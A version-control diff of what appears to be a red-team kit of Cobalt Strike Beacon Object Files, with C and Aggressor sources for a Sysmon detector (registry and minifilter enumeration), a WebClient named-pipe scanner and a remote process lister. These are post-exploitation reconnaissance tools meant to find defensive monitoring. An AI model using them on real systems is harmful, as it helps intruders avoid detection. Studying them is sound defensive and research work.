+    DWORD status = ERROR_SUCCESS;
+    PROVIDER_ENUMERATION_INFO * penum = NULL;    
+    PROVIDER_ENUMERATION_INFO * ptemp = NULL;
+    DWORD BufferSize = 0;                       
+    HRESULT hr = S_OK;                          
+    WCHAR StringGuid[MAX_GUID_SIZE];
+	
+    HKEY hKey;
+	DWORD cbLength = MAX_DATA_LENGTH;
+	DWORD dwType;
+	char* RegData = NULL;
+	wchar_t guid[256];	
+	BOOL activeSysmon = FALSE;
+
+
+	if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Sysmon/Operational"), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
+		RegData = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbLength);
+		if (RegData == NULL) {
+			return FALSE;
+		}
+
+		if(ADVAPI32$RegGetValueA(hKey,	NULL, "OwningPublisher", RRF_RT_ANY, &dwType, (PVOID)RegData, &cbLength) != ERROR_SUCCESS) {
+			return FALSE;
+		}
+		
+		if (MSVCRT$strlen(RegData) != 0) {
+			KERNEL32$MultiByteToWideChar(CP_UTF8, 0, RegData, -1, guid, 256);
+		}
+		else return FALSE;
+	}
+	else return FALSE;
+	if(RegData) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, RegData);
+	ADVAPI32$RegCloseKey(hKey);
+	
+	
+    status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    while (status == ERROR_INSUFFICIENT_BUFFER) {
+        ptemp = (PROVIDER_ENUMERATION_INFO *) MSVCRT$realloc(penum, BufferSize);
+        if (ptemp == NULL) {
+            return FALSE;
+        }
+
+        penum = ptemp;
+        ptemp = NULL;
+
+        status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    }
+	
+    if (status != ERROR_SUCCESS) 
+		BeaconPrintf(CALLBACK_ERROR,"TdhEnumerateProviders failed.\n");
+	
+    else {
+        for (DWORD i = 0; i < penum->NumberOfProviders; i++) {
+            hr = OLE32$StringFromGUID2(&penum->TraceProviderInfoArray[i].ProviderGuid, StringGuid, ARRAYSIZE(StringGuid));
+            if (FAILED(hr)) return FALSE;
+			
+			if (!MSVCRT$_wcsicmp(StringGuid, (wchar_t *)guid)) { 
+
+				internal_printf("[!] Sysmon service found:\n===============================================================\n");
+				activeSysmon = PrintSysmonPID(guid);	
+
+				if(!activeSysmon) internal_printf("Sysmon service status:\tStopped\n");
+				else internal_printf("Sysmon service status:\tRunning\n");
+				
+				internal_printf("Sysmon provider name:\t%ls\nSysmon provider GUID:\t%ls\n", (LPWSTR)((PBYTE)(penum)+penum->TraceProviderInfoArray[i].ProviderNameOffset), StringGuid); 
+				if (penum) {
+					MSVCRT$free(penum);
+					penum = NULL;
+				}
+				return TRUE;
+			}
+			
+        }
+    }
+
+    if (penum) {
+        MSVCRT$free(penum);
+        penum = NULL;
+    }
+	
+	return FALSE;
+}
+
+
+
+int PrintMiniFilterData(FILTER_AGGREGATE_STANDARD_INFORMATION * lpFilterInfo) {
+
+	FILTER_AGGREGATE_STANDARD_INFORMATION * fltInfo = NULL;
+	char * fltName, * fltAlt;
+	
+	fltInfo = (FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo;
+
+	int fltName_size = fltInfo->Type.MiniFilter.FilterNameLength;
+	LONGLONG src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterNameBufferOffset;
+	fltName = (char *) MSVCRT$malloc(fltName_size + 2);
+	MSVCRT$memset(fltName, 0, fltName_size + 2);
+	MSVCRT$memcpy(fltName, (void *) src, fltName_size);
+	
+	int fltAlt_size = fltInfo->Type.MiniFilter.FilterAltitudeLength;
+	src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterAltitudeBufferOffset;
+	fltAlt = (char *) MSVCRT$malloc(fltAlt_size + 2);
+	MSVCRT$memset(fltAlt, 0, fltAlt_size + 2);
+	MSVCRT$memcpy(fltAlt, (void *) src, fltAlt_size);	
+	
+	if (fltInfo->Flags == FLTFL_ASI_IS_MINIFILTER) {
+		internal_printf("%-29ls%ls\t%26d\n", fltName, fltAlt, fltInfo->Type.MiniFilter.NumberOfInstances);
+	}
+	MSVCRT$free(fltName);
+	MSVCRT$free(fltAlt);	
+	
+	return 0;
+}
+
+
+BOOL FindMiniFilters() {
+	HRESULT res;
+	DWORD dwBytesReturned;
+	HANDLE hFilterFind;
+	DWORD dwFilterInfoSize = 1024;
+	LPVOID lpFilterInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), NULL, dwFilterInfoSize);
+	BOOL foundMinifilter = FALSE;
+	
+	res = Fltlib$FilterFindFirst(FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned, &hFilterFind);
+	if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) return foundMinifilter;
+	if (res != S_OK) return foundMinifilter;
+	
+	internal_printf("[+] Found MiniFilter drivers.\n[*] Check if you can identify one that is associated with Sysmon (e.g. SysmonDrv):\n\n");
+	internal_printf("Name Minifilter\t\tPriority altitude\t\tLoaded instances\n=======================================================================\n");
+	PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);
+	foundMinifilter = TRUE;
+
+	while(true) {
+		res = Fltlib$FilterFindNext(hFilterFind, FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned);
+		if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) break;
+		if (res != S_OK) return foundMinifilter;
+		PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);		
+	}
+	
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), NULL, lpFilterInfo);
+    return foundMinifilter;
+}
+
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	CHAR *action;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	action = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+	if (MSVCRT$strcmp(action, "reg") == 0) {
+		res = FindSysmon();
+		if(!res) {
+			BeaconPrintf(CALLBACK_OUTPUT, "[+] No Sysmon service found :)\n");
+			return 0;
+		}
+		else  {
+			printoutput(TRUE);
+		}
+	}
+	else if (MSVCRT$strcmp(action, "driver") == 0) {
+		res = FindMiniFilters();
+		if(!res) {
+			BeaconPrintf(CALLBACK_ERROR,"Couldn't list Minifilter drivers. Running with high enough privileges?\n");
+			return 0;
+		}
+		else  {
+			printoutput(TRUE);
+		}
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following enumeration options: reg | driver (must be elevated)\n");
+	}
+
+	return 0;
+}
+
+

+ 32 - 32
KIT/FindSysmon/findsysmon.cna

@@ -1,32 +1,32 @@
-# author REDMED-X
-
-beacon_command_register(
-    "findsysmon", "Verify if Sysmon is running.",
-    "INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
-    "USAGE:\nfindsysmon <reg | driver>\n\n");
-
-
-alias findsysmon {
-    $bid = $1;
-    $action = $2;
-
-    if ($action eq "reg" || $action eq "driver") {
-    }
-    else {
-        berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
-        return;
-    }
-
-    # Read in the right BOF file
-    $handle = openf(script_resource("findsysmon.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    # Pack our arguments
-    $arg_data  = bof_pack($bid, "z", $action);
-
-    blog($bid, "Tasked to find Sysmon..");
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "findsysmon", "Verify if Sysmon is running.",
+    "INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
+    "USAGE:\nfindsysmon <reg | driver>\n\n");
+
+
+alias findsysmon {
+    $bid = $1;
+    $action = $2;
+
+    if ($action eq "reg" || $action eq "driver") {
+    }
+    else {
+        berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("findsysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+    blog($bid, "Tasked to find Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 60 - 63
KIT/FindSysmon/findsysmon.h

@@ -1,63 +1,60 @@
-#include <windows.h>  
-
-#pragma comment(lib, "tdh.lib")
-#pragma comment(lib, "Ole32.lib") 
-#pragma comment(lib, "Advapi32.lib")
-#pragma comment(lib, "OleAut32.lib")
-#pragma comment(lib, "FltLib.lib" )
-
-#define HRESULT_FROM_WIN32(x) (x ? ((HRESULT) (((x) & 0x0000FFFF) | (FACILITY_WIN32 << 16) | 0x80000000)) : 0)
-#define MAX_GUID_SIZE 39
-#define MAX_DATA_LENGTH 65000
-#define true 1
-
-//PrintSysmonPID
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
-DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
-DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
-DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
-
-//FindSysmon
-DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
-DECLSPEC_IMPORT LSTATUS WINAPI ADVAPI32$RegGetValueA(HKEY hkey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData);
-DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
-DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int __cdecl OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz, int cchMax);
-WINBASEAPI TDHSTATUS WINAPI TDH$TdhEnumerateProviders(PPROVIDER_ENUMERATION_INFO pBuffer, ULONG *pBufferSize);
-WINBASEAPI void* __cdecl MSVCRT$realloc(void *ptr, size_t size);
-WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *str);
-WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
-
-//PrintMiniFilterData
-WINBASEAPI void * __cdecl MSVCRT$malloc(size_t size);
-WINBASEAPI void * __cdecl MSVCRT$memcpy(void *dest, const void *src, size_t count);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t *format, ...);
-WINBASEAPI void __cdecl MSVCRT$free(void *ptr);
-
-//FindMiniFilters
-WINBASEAPI HANDLE WINAPI Fltlib$FilterFindFirst(LPCWSTR VolumeName, WIN32_FIND_DATAW *FindFileData, LPCWSTR FileSpec);
-WINBASEAPI BOOL WINAPI Fltlib$FilterFindNext(HANDLE FindHandle, WIN32_FIND_DATAW *FindFileData);
-
-//main
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
-WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
-WINBASEAPI int __cdecl MSVCRT$getchar(void);
-
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
+#include <windows.h>  
+
+#pragma comment(lib, "tdh.lib")
+#pragma comment(lib, "Ole32.lib") 
+#pragma comment(lib, "Advapi32.lib")
+#pragma comment(lib, "OleAut32.lib")
+#pragma comment(lib, "FltLib.lib" )
+
+#define HRESULT_FROM_WIN32(x) (x ? ((HRESULT) (((x) & 0x0000FFFF) | (FACILITY_WIN32 << 16) | 0x80000000)) : 0)
+#define MAX_GUID_SIZE 39
+#define MAX_DATA_LENGTH 65000
+#define true 1
+
+//PrintSysmonPID
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+
+//FindSysmon
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
+DECLSPEC_IMPORT LSTATUS WINAPI ADVAPI32$RegGetValueA(HKEY hkey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData);
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
+//DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
+//DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+//DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int __cdecl OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz, int cchMax);
+WINBASEAPI TDHSTATUS WINAPI TDH$TdhEnumerateProviders(PPROVIDER_ENUMERATION_INFO pBuffer, ULONG *pBufferSize);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void *ptr, size_t size);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *str);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+//PrintMiniFilterData
+WINBASEAPI void * __cdecl MSVCRT$malloc(size_t size);
+//WINBASEAPI void * __cdecl MSVCRT$memcpy(void *dest, const void *src, size_t count);
+//WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t *format, ...);
+//WINBASEAPI void __cdecl MSVCRT$free(void *ptr);
+
+//FindMiniFilters
+WINBASEAPI HRESULT WINAPI Fltlib$FilterFindFirst(FILTER_INFORMATION_CLASS dwInformationClass, LPVOID lpBuffer, DWORD dwBufferSize, LPDWORD lpBytesReturned, LPHANDLE lpFilterFind);
+WINBASEAPI HRESULT WINAPI Fltlib$FilterFindNext(HANDLE hFilterFind, FILTER_INFORMATION_CLASS dwInformationClass, LPVOID lpBuffer, DWORD dwBufferSize, LPDWORD lpBytesReturned);
+
+//main
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$getchar(void);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/FindSysmon/findsysmon.o


+ 73 - 98
KIT/FindWebClient/findwebclient.c

@@ -4,99 +4,76 @@
 #include "beacon.h"
 
 
-
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
 
-
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 int go(char *args, int len) {
@@ -108,18 +85,18 @@ int go(char *args, int len) {
 	char* debug;
     int iBytesLen = 0;
     CHAR *hostFileBytes;
-	WCHAR wHostname[256];
     datap parser;
 
     BeaconDataParse(&parser, args, len);
     hostFileBytes = BeaconDataExtract(&parser, &iBytesLen);
 	debug = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
 	
     if(iBytesLen != 0) {
-        BeaconPrintf(CALLBACK_OUTPUT, "[+] Loaded file in memory with a size of %d bytes\n[*] Start WebClient enumeration..\n", iBytesLen); 
+        BeaconPrintf(CALLBACK_OUTPUT, "[*] Loaded file in memory with a size of %d bytes\n", iBytesLen); 
 		
-		BeaconPrintToStreamW(L"\nEnumeration results:\n");
-		BeaconPrintToStreamW(L"==============================================\n");
+		internal_printf("\nEnumeration results:\n");
+		internal_printf("==============================================\n");
 	
         hostname = MSVCRT$strtok(hostFileBytes, "\r\n");
         while (hostname != NULL) {
@@ -137,17 +114,15 @@ int go(char *args, int len) {
             pipeStatus = KERNEL32$WaitNamedPipeA(fullPipeName, 3000);
 
 			if (pipeStatus == 0 && (MSVCRT$strcmp(debug, "debug") == 0)) {
-				KERNEL32$MultiByteToWideChar(CP_ACP, 0, hostname, -1, wHostname, 256);
-				BeaconPrintToStreamW(L"[-] WebClient service not found on %s\n", wHostname);
+				internal_printf("[-] WebClient service not running on %s\n", hostname);
 			} else if (pipeStatus == 0) {
             } else {
-				KERNEL32$MultiByteToWideChar(CP_ACP, 0, hostname, -1, wHostname, 256);
-				BeaconPrintToStreamW(L"[+] WebClient running on %s\n", wHostname);
+				internal_printf("[+] WebClient running on %s\n", hostname);
             }
             MSVCRT$free(fullPipeName);
             hostname = nextHostname;
         }
-		BeaconOutputStreamW();
+		printoutput(TRUE);
 
     } else {
         BeaconPrintf(CALLBACK_ERROR, "Couldn't load the host file from disk.\n");

+ 5 - 15
KIT/FindWebClient/findwebclient.h

@@ -6,7 +6,7 @@ WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);
 WINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);
 WINBASEAPI void* WINAPI MSVCRT$strcpy(const char* dest, const char* source);
 WINBASEAPI void* WINAPI MSVCRT$strcat(const char* dest, const char* source);
-DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block);
+//DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block);
 DECLSPEC_IMPORT FILE* __cdecl MSVCRT$fopen(const char* _Filename, const char* _Mode);
 DECLSPEC_IMPORT int __cdecl MSVCRT$fclose(FILE* _File);
 DECLSPEC_IMPORT char* __cdecl MSVCRT$fgets(char* _Buffer, int _MaxCount, FILE* _File);
@@ -14,22 +14,12 @@ WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
 DECLSPEC_IMPORT char* __cdecl MSVCRT$strtok(char* _String, const char* _Delimiters);
 WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-//WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
 WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
-

BIN
KIT/FindWebClient/findwebclient.o


+ 14 - 14
KIT/PSremote/README.md

@@ -1,14 +1,14 @@
-# PSremote
-Get a list of all processes running on the remote host.
-
-## Options
-* `<FQDN or IP>`: specify the target host FQDN or IP. 
-
-## Usage
-* `psremote <FQDN or IP remote host>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# PSremote
+Get a list of all processes running on the remote host.
+
+## Options
+* `<FQDN or IP>`: specify the target host FQDN or IP. 
+
+## Usage
+* `psremote <FQDN or IP remote host>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/PSremote/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
